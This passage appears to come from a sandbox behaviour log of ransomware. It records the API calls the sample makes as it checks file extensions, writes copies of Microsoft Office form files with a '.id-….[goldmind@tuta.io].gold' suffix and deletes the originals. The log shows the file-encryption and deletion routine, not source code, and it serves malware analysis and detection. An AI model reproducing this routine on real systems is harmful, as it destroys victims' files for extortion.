(lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0115.529] lstrlenW (lpString=".1cd") returned 4 [0115.529] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0115.529] lstrlenW (lpString=".jpg") returned 4 [0115.529] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0115.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0115.529] lstrlenW (lpString=".doc") returned 4 [0115.529] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.529] lstrlenW (lpString=".docx") returned 5 [0115.529] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0115.529] lstrlenW (lpString=".pdf") returned 4 [0115.529] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.529] lstrlenW (lpString=".xls") returned 4 [0115.529] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.529] lstrlenW (lpString=".xlsx") returned 5 [0115.529] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0115.529] lstrlenW (lpString=".ppt") returned 4 [0115.529] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0115.529] lstrlenW (lpString=".zip") returned 4 [0115.529] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.529] lstrlenW (lpString=".rar") returned 4 [0115.529] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.529] lstrlenW (lpString=".bz2") returned 4 [0115.530] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.530] lstrlenW (lpString=".7z") returned 3 [0115.530] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0115.530] lstrlenW (lpString=".dbf") returned 4 [0115.530] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0115.530] lstrlenW (lpString=".1cd") returned 4 [0115.530] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0115.530] lstrlenW (lpString=".jpg") returned 4 [0115.530] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.530] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.530] lstrlenW (lpString="REMOTES.ICO") returned 11 [0115.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0115.531] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2998) returned 1 [0115.531] CloseHandle (hObject=0x3b4) returned 1 [0115.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico")) returned 0x20 [0115.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0115.533] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.533] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.533] GetLastError () returned 0x0 [0115.533] ReadFile (in: hFile=0x3b4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0115.535] WriteFile (in: hFile=0x3d0, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0115.535] ReadFile (in: hFile=0x3b4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.535] WriteFile (in: hFile=0x3d0, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0115.535] SetEndOfFile (hFile=0x3d0) returned 1 [0115.536] CloseHandle (hObject=0x3d0) returned 1 [0115.536] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.536] SetEndOfFile (hFile=0x3b4) returned 1 [0115.537] CloseHandle (hObject=0x3b4) returned 1 [0115.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.537] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico")) returned 1 [0115.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0115.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0115.538] lstrlenW (lpString=".doc") returned 4 [0115.538] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.538] lstrlenW (lpString=".docx") returned 5 [0115.538] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.538] lstrlenW (lpString=".pdf") returned 4 [0115.538] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.538] lstrlenW (lpString=".xls") returned 4 [0115.538] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.538] lstrlenW (lpString=".xlsx") returned 5 [0115.539] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.539] lstrlenW (lpString=".ppt") returned 4 [0115.539] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0115.539] lstrlenW (lpString=".zip") returned 4 [0115.539] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.539] lstrlenW (lpString=".rar") returned 4 [0115.539] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.539] lstrlenW (lpString=".bz2") returned 4 [0115.539] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.539] lstrlenW (lpString=".7z") returned 3 [0115.539] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0115.539] lstrlenW (lpString=".dbf") returned 4 [0115.539] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0115.539] lstrlenW (lpString=".1cd") returned 4 [0115.539] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0115.539] lstrlenW (lpString=".jpg") returned 4 [0115.539] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0115.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0115.539] lstrlenW (lpString=".doc") returned 4 [0115.539] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.539] lstrlenW (lpString=".docx") returned 5 [0115.539] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.539] lstrlenW (lpString=".pdf") returned 4 [0115.539] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.539] lstrlenW (lpString=".xls") returned 4 [0115.539] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.539] lstrlenW (lpString=".xlsx") returned 5 [0115.539] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.539] lstrlenW (lpString=".ppt") returned 4 [0115.539] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0115.539] lstrlenW (lpString=".zip") returned 4 [0115.539] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.539] lstrlenW (lpString=".rar") returned 4 [0115.539] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.539] lstrlenW (lpString=".bz2") returned 4 [0115.539] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.539] lstrlenW (lpString=".7z") returned 3 [0115.540] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0115.540] lstrlenW (lpString=".dbf") returned 4 [0115.540] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0115.540] lstrlenW (lpString=".1cd") returned 4 [0115.540] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0115.540] lstrlenW (lpString=".jpg") returned 4 [0115.540] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.540] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0115.540] lstrlenW (lpString="REPLTMPL.CFG") returned 12 [0115.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0115.541] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=826) returned 1 [0115.541] CloseHandle (hObject=0x3b4) returned 1 [0115.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg")) returned 0x20 [0115.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0115.541] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.541] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.542] GetLastError () returned 0x0 [0115.542] ReadFile (in: hFile=0x3b4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x33a, lpOverlapped=0x0) returned 1 [0115.543] WriteFile (in: hFile=0x3d0, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x340, lpOverlapped=0x0) returned 1 [0115.544] ReadFile (in: hFile=0x3b4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.544] WriteFile (in: hFile=0x3d0, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.544] SetEndOfFile (hFile=0x3d0) returned 1 [0115.544] CloseHandle (hObject=0x3d0) returned 1 [0115.544] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.544] SetEndOfFile (hFile=0x3b4) returned 1 [0115.546] CloseHandle (hObject=0x3b4) returned 1 [0115.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg")) returned 1 [0115.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0115.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0115.547] lstrlenW (lpString=".doc") returned 4 [0115.547] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.547] lstrlenW (lpString=".docx") returned 5 [0115.547] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0115.547] lstrlenW (lpString=".pdf") returned 4 [0115.547] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.547] lstrlenW (lpString=".xls") returned 4 [0115.547] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.547] lstrlenW (lpString=".xlsx") returned 5 [0115.547] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0115.547] lstrlenW (lpString=".ppt") returned 4 [0115.547] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0115.547] lstrlenW (lpString=".zip") returned 4 [0115.547] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.547] lstrlenW (lpString=".rar") returned 4 [0115.547] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.547] lstrlenW (lpString=".bz2") returned 4 [0115.547] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.547] lstrlenW (lpString=".7z") returned 3 [0115.547] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0115.547] lstrlenW (lpString=".dbf") returned 4 [0115.547] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0115.547] lstrlenW (lpString=".1cd") returned 4 [0115.548] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0115.548] lstrlenW (lpString=".jpg") returned 4 [0115.548] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0115.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0115.548] lstrlenW (lpString=".doc") returned 4 [0115.548] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.548] lstrlenW (lpString=".docx") returned 5 [0115.548] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0115.548] lstrlenW (lpString=".pdf") returned 4 [0115.548] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.548] lstrlenW (lpString=".xls") returned 4 [0115.548] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.548] lstrlenW (lpString=".xlsx") returned 5 [0115.548] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0115.548] lstrlenW (lpString=".ppt") returned 4 [0115.548] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0115.548] lstrlenW (lpString=".zip") returned 4 [0115.548] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.548] lstrlenW (lpString=".rar") returned 4 [0115.548] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.548] lstrlenW (lpString=".bz2") returned 4 [0115.548] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.548] lstrlenW (lpString=".7z") returned 3 [0115.548] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0115.548] lstrlenW (lpString=".dbf") returned 4 [0115.548] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0115.548] lstrlenW (lpString=".1cd") returned 4 [0115.548] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0115.548] lstrlenW (lpString=".jpg") returned 4 [0115.548] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.548] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0115.548] lstrlenW (lpString="REPORT.CFG") returned 10 [0115.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0115.549] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=781) returned 1 [0115.549] CloseHandle (hObject=0x3b4) returned 1 [0115.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg")) returned 0x20 [0115.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0115.550] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.550] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.550] GetLastError () returned 0x0 [0115.550] ReadFile (in: hFile=0x3b4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x30d, lpOverlapped=0x0) returned 1 [0115.552] WriteFile (in: hFile=0x3d0, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x310, lpOverlapped=0x0) returned 1 [0115.553] ReadFile (in: hFile=0x3b4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.553] WriteFile (in: hFile=0x3d0, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0115.553] SetEndOfFile (hFile=0x3d0) returned 1 [0115.553] CloseHandle (hObject=0x3d0) returned 1 [0115.553] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.553] SetEndOfFile (hFile=0x3b4) returned 1 [0115.555] CloseHandle (hObject=0x3b4) returned 1 [0115.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg")) returned 1 [0115.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0115.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0115.693] lstrlenW (lpString=".doc") returned 4 [0115.694] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.694] lstrlenW (lpString=".docx") returned 5 [0115.703] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0115.709] lstrlenW (lpString=".pdf") returned 4 [0115.709] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.709] lstrlenW (lpString=".xls") returned 4 [0115.709] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.709] lstrlenW (lpString=".xlsx") returned 5 [0115.709] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0115.709] lstrlenW (lpString=".ppt") returned 4 [0115.709] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0115.709] lstrlenW (lpString=".zip") returned 4 [0115.709] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.709] lstrlenW (lpString=".rar") returned 4 [0115.709] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.709] lstrlenW (lpString=".bz2") returned 4 [0115.709] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.709] lstrlenW (lpString=".7z") returned 3 [0115.709] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0115.709] lstrlenW (lpString=".dbf") returned 4 [0115.709] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0115.709] lstrlenW (lpString=".1cd") returned 4 [0115.709] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0115.709] lstrlenW (lpString=".jpg") returned 4 [0115.709] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0115.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0115.709] 